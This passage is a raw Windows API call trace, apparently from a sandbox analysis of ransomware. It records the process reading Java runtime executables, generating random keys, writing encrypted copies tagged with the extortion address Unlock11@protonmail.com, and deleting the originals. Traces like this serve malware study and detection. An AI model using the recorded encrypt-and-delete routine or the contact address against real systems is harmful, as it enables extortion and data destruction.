GetCurrentThreadId () returned 0x9b0 [0124.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead78 [0124.798] GetLastError () returned 0x0 [0124.798] GetLastError () returned 0x0 [0124.798] GetLastError () returned 0x0 [0124.799] GetLastError () returned 0x0 [0124.799] GetCurrentThreadId () returned 0x9b0 [0124.799] GetLastError () returned 0x0 [0124.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead78 | out: hHeap=0x2ad0000) returned 1 [0124.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead78 [0124.799] GetCurrentThreadId () returned 0x9b0 [0124.799] GetLastError () returned 0x0 [0124.799] GetLastError () returned 0x0 [0124.799] GetLastError () returned 0x0 [0124.799] GetLastError () returned 0x0 [0124.799] GetCurrentThreadId () returned 0x9b0 [0124.800] GetLastError () returned 0x0 [0124.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead78 | out: hHeap=0x2ad0000) returned 1 [0124.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265608 [0124.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5980 | out: hHeap=0x2ad0000) returned 1 [0124.800] GetLastError () returned 0x0 [0124.800] GetLastError () returned 0x0 [0124.800] GetLastError () returned 0x0 [0124.800] GetLastError () returned 0x0 [0124.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0124.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265618 [0124.800] GetLastError () returned 0x0 [0124.801] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0124.801] GetFileType (hFile=0x39c) returned 0x1 [0124.801] GetLastError () returned 0x0 [0124.801] GetCurrentThreadId () returned 0x9b0 [0124.801] GetLastError () returned 0x0 [0124.801] GetFileType (hFile=0x39c) returned 0x1 [0124.801] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.801] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.801] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.802] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.802] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.802] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.802] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.802] GetLastError () returned 0x0 [0124.802] GetCurrentThreadId () returned 0x9b0 [0124.802] GetLastError () returned 0x0 [0124.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265618 | out: hHeap=0x2ad0000) returned 1 [0124.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.802] GetLastError () returned 0x0 [0124.802] GetLastError () returned 0x0 [0124.802] GetLastError () returned 0x0 [0124.803] GetLastError () returned 0x0 [0124.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0124.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32654b8 [0124.803] GetLastError () returned 0x0 [0124.803] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0124.803] GetFileType (hFile=0x3ac) returned 0x1 [0124.803] GetLastError () returned 0x0 [0124.804] GetCurrentThreadId () returned 0x9b0 [0124.804] GetLastError () returned 0x0 [0124.804] GetFileType (hFile=0x3ac) returned 0x1 [0124.804] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.804] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.804] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.804] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.804] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.804] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.804] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.804] GetLastError () returned 0x0 [0124.805] GetCurrentThreadId () returned 0x9b0 [0124.805] GetLastError () returned 0x0 [0124.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654b8 | out: hHeap=0x2ad0000) returned 1 [0124.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f90 | out: hHeap=0x2ad0000) returned 1 [0124.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0124.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0124.805] GetLastError () returned 0x0 [0124.805] GetLastError () returned 0x0 [0124.805] GetCurrentThreadId () returned 0x9b0 [0124.805] GetLastError () returned 0x0 [0124.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0124.806] GetLastError () returned 0x0 [0124.806] GetLastError () returned 0x0 [0124.806] GetCurrentThreadId () returned 0x9b0 [0124.806] GetLastError () returned 0x0 [0124.806] GetLastError () returned 0x0 [0124.808] GetLastError () returned 0x0 [0124.808] GetCurrentThreadId () returned 0x9b0 [0124.808] GetLastError () returned 0x0 [0124.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265608 | out: hHeap=0x2ad0000) returned 1 [0124.808] GetCurrentThreadId () returned 0x9b0 [0124.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0124.809] GetLastError () returned 0x0 [0124.809] GetLastError () returned 0x0 [0124.809] GetLastError () returned 0x0 [0124.809] GetLastError () returned 0x0 [0124.809] GetCurrentThreadId () returned 0x9b0 [0124.809] GetLastError () returned 0x0 [0124.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0124.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0124.810] GetLastError () returned 0x0 [0124.812] GetLastError () returned 0x0 [0124.812] GetCurrentThreadId () returned 0x9b0 [0124.812] GetLastError () returned 0x0 [0124.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0124.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0124.813] GetLastError () returned 0x0 [0124.813] GetLastError () returned 0x0 [0124.813] GetCurrentThreadId () returned 0x9b0 [0124.813] GetLastError () returned 0x0 [0124.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.814] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32654d8 [0124.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265538 | out: hHeap=0x2ad0000) returned 1 [0124.814] GetCurrentThreadId () returned 0x9b0 [0124.814] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0124.814] GetLastError () returned 0x0 [0124.814] GetLastError () returned 0x0 [0124.814] GetLastError () returned 0x0 [0124.815] GetLastError () returned 0x0 [0124.815] GetCurrentThreadId () returned 0x9b0 [0124.815] GetLastError () returned 0x0 [0124.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.815] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0124.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0124.815] GetLastError () returned 0x0 [0124.816] GetLastError () returned 0x0 [0124.816] GetCurrentThreadId () returned 0x9b0 [0124.816] GetLastError () returned 0x0 [0124.816] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0124.816] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0124.816] GetLastError () returned 0x0 [0124.821] GetLastError () returned 0x0 [0124.821] GetCurrentThreadId () returned 0x9b0 [0124.821] GetLastError () returned 0x0 [0124.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.821] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265538 [0124.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654d8 | out: hHeap=0x2ad0000) returned 1 [0124.821] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0124.821] GetCurrentThreadId () returned 0x9b0 [0124.822] GetLastError () returned 0x0 [0124.822] GetLastError () returned 0x0 [0124.822] GetLastError () returned 0x0 [0124.822] GetLastError () returned 0x0 [0124.822] GetCurrentThreadId () returned 0x9b0 [0124.822] GetLastError () returned 0x0 [0124.822] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.822] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0124.822] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0124.823] GetLastError () returned 0x0 [0124.823] GetLastError () returned 0x0 [0124.824] GetCurrentThreadId () returned 0x9b0 [0124.824] GetLastError () returned 0x0 [0124.824] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0124.824] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0124.824] GetLastError () returned 0x0 [0124.824] GetLastError () returned 0x0 [0124.824] GetCurrentThreadId () returned 0x9b0 [0124.824] GetLastError () returned 0x0 [0124.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.825] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265588 [0124.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265538 | out: hHeap=0x2ad0000) returned 1 [0124.825] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x2858) returned 0x35c0a00 [0124.825] GetCurrentThreadId () returned 0x9b0 [0124.825] GetLastError () returned 0x0 [0124.825] GetLastError () returned 0x0 [0124.825] GetLastError () returned 0x0 [0124.825] GetLastError () returned 0x0 [0124.825] GetCurrentThreadId () returned 0x9b0 [0124.825] GetLastError () returned 0x0 [0124.826] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0a00 | out: hHeap=0x2ad0000) returned 1 [0124.826] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0124.826] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0124.826] GetLastError () returned 0x0 [0124.826] GetLastError () returned 0x0 [0124.826] GetCurrentThreadId () returned 0x9b0 [0124.826] GetLastError () returned 0x0 [0124.826] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.826] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0124.827] GetLastError () returned 0x0 [0124.827] GetLastError () returned 0x0 [0124.827] GetCurrentThreadId () returned 0x9b0 [0124.827] GetLastError () returned 0x0 [0124.827] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.827] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.827] GetLastError () returned 0x0 [0124.827] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0124.827] CloseHandle (hObject=0x3ac) returned 1 [0124.828] GetLastError () returned 0x0 [0124.828] GetCurrentThreadId () returned 0x9b0 [0124.828] GetLastError () returned 0x0 [0124.828] CloseHandle (hObject=0x39c) returned 1 [0124.828] GetCurrentThreadId () returned 0x9b0 [0124.828] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 1 [0124.830] GetCurrentThreadId () returned 0x9b0 [0124.830] GetCurrentThreadId () returned 0x9b0 [0124.831] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll", lpFilePart=0x9bada4*="JavaAccessBridge-64.dll") returned 0x3e [0124.831] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0124.831] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0124.831] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0124.831] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0124.831] GetCurrentThreadId () returned 0x9b0 [0124.831] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl", lpFilePart=0x9bada4*="javacpl.cpl") returned 0x32 [0124.831] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0124.831] GetCurrentThreadId () returned 0x9b0 [0124.831] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0124.832] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0124.832] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0124.832] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe", lpFilePart=0x9bada4*="javacpl.exe") returned 0x32 [0124.832] GetCurrentThreadId () returned 0x9b0 [0124.832] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0124.832] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.832] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0124.832] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0124.832] GetCurrentThreadId () returned 0x9b0 [0124.832] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead78 [0124.832] GetCurrentThreadId () returned 0x9b0 [0124.833] GetCurrentThreadId () returned 0x9b0 [0124.833] GetCurrentThreadId () returned 0x9b0 [0124.833] GetCurrentThreadId () returned 0x9b0 [0124.833] GetCurrentThreadId () returned 0x9b0 [0124.833] GetCurrentThreadId () returned 0x9b0 [0124.833] GetCurrentThreadId () returned 0x9b0 [0124.833] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13a40)) returned 1 [0124.833] GetCurrentThreadId () returned 0x9b0 [0124.833] GetCurrentThreadId () returned 0x9b0 [0124.834] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3657d54 | out: pbBuffer=0x3657d54) returned 1 [0124.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0124.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0124.834] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0124.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead78 [0124.834] GetCurrentThreadId () returned 0x9b0 [0124.834] GetCurrentThreadId () returned 0x9b0 [0124.834] GetCurrentThreadId () returned 0x9b0 [0124.834] GetCurrentThreadId () returned 0x9b0 [0124.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32655a8 [0124.834] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4720 | out: hHeap=0x2ad0000) returned 1 [0124.835] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0124.835] GetFileType (hFile=0x39c) returned 0x1 [0124.835] GetCurrentThreadId () returned 0x9b0 [0124.835] GetFileType (hFile=0x39c) returned 0x1 [0124.835] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.835] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.835] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.836] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.836] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.836] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.836] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.836] GetLastError () returned 0x0 [0124.836] GetCurrentThreadId () returned 0x9b0 [0124.836] GetLastError () returned 0x0 [0124.836] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265608 | out: hHeap=0x2ad0000) returned 1 [0124.836] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0124.836] GetLastError () returned 0x0 [0124.836] GetLastError () returned 0x0 [0124.836] GetLastError () returned 0x0 [0124.837] GetLastError () returned 0x0 [0124.837] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0124.837] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265608 [0124.837] GetLastError () returned 0x0 [0124.837] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0124.837] GetFileType (hFile=0x3ac) returned 0x1 [0124.837] GetLastError () returned 0x0 [0124.838] GetCurrentThreadId () returned 0x9b0 [0124.838] GetLastError () returned 0x0 [0124.838] GetFileType (hFile=0x3ac) returned 0x1 [0124.838] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.838] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.838] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.838] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.838] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.838] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.838] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.838] GetLastError () returned 0x0 [0124.838] GetCurrentThreadId () returned 0x9b0 [0124.839] GetLastError () returned 0x0 [0124.839] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265608 | out: hHeap=0x2ad0000) returned 1 [0124.839] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2d38 | out: hHeap=0x2ad0000) returned 1 [0124.839] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0124.839] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0124.839] GetLastError () returned 0x0 [0124.839] GetLastError () returned 0x0 [0124.839] GetCurrentThreadId () returned 0x9b0 [0124.839] GetLastError () returned 0x0 [0124.839] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0124.839] GetLastError () returned 0x0 [0124.840] GetLastError () returned 0x0 [0124.840] GetCurrentThreadId () returned 0x9b0 [0124.840] GetLastError () returned 0x0 [0124.840] GetLastError () returned 0x0 [0124.842] GetLastError () returned 0x0 [0124.842] GetCurrentThreadId () returned 0x9b0 [0124.842] GetLastError () returned 0x0 [0124.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32655a8 | out: hHeap=0x2ad0000) returned 1 [0124.842] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0124.842] GetCurrentThreadId () returned 0x9b0 [0124.842] GetLastError () returned 0x0 [0124.843] GetLastError () returned 0x0 [0124.843] GetLastError () returned 0x0 [0124.843] GetLastError () returned 0x0 [0124.843] GetCurrentThreadId () returned 0x9b0 [0124.843] GetLastError () returned 0x0 [0124.843] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.843] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0124.843] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0124.843] GetLastError () returned 0x0 [0124.845] GetLastError () returned 0x0 [0124.845] GetCurrentThreadId () returned 0x9b0 [0124.845] GetLastError () returned 0x0 [0124.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0124.845] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0124.846] GetLastError () returned 0x0 [0124.846] GetLastError () returned 0x0 [0124.846] GetCurrentThreadId () returned 0x9b0 [0124.846] GetLastError () returned 0x0 [0124.846] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.846] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265488 [0124.846] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265538 | out: hHeap=0x2ad0000) returned 1 [0124.846] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3a58) returned 0x35c0a00 [0124.846] GetCurrentThreadId () returned 0x9b0 [0124.847] GetLastError () returned 0x0 [0124.847] GetLastError () returned 0x0 [0124.847] GetLastError () returned 0x0 [0124.847] GetLastError () returned 0x0 [0124.847] GetCurrentThreadId () returned 0x9b0 [0124.847] GetLastError () returned 0x0 [0124.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0a00 | out: hHeap=0x2ad0000) returned 1 [0124.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0124.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0124.847] GetLastError () returned 0x0 [0124.848] GetLastError () returned 0x0 [0124.848] GetCurrentThreadId () returned 0x9b0 [0124.848] GetLastError () returned 0x0 [0124.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0124.848] GetLastError () returned 0x0 [0124.848] GetLastError () returned 0x0 [0124.848] GetCurrentThreadId () returned 0x9b0 [0124.848] GetLastError () returned 0x0 [0124.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.849] GetLastError () returned 0x0 [0124.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 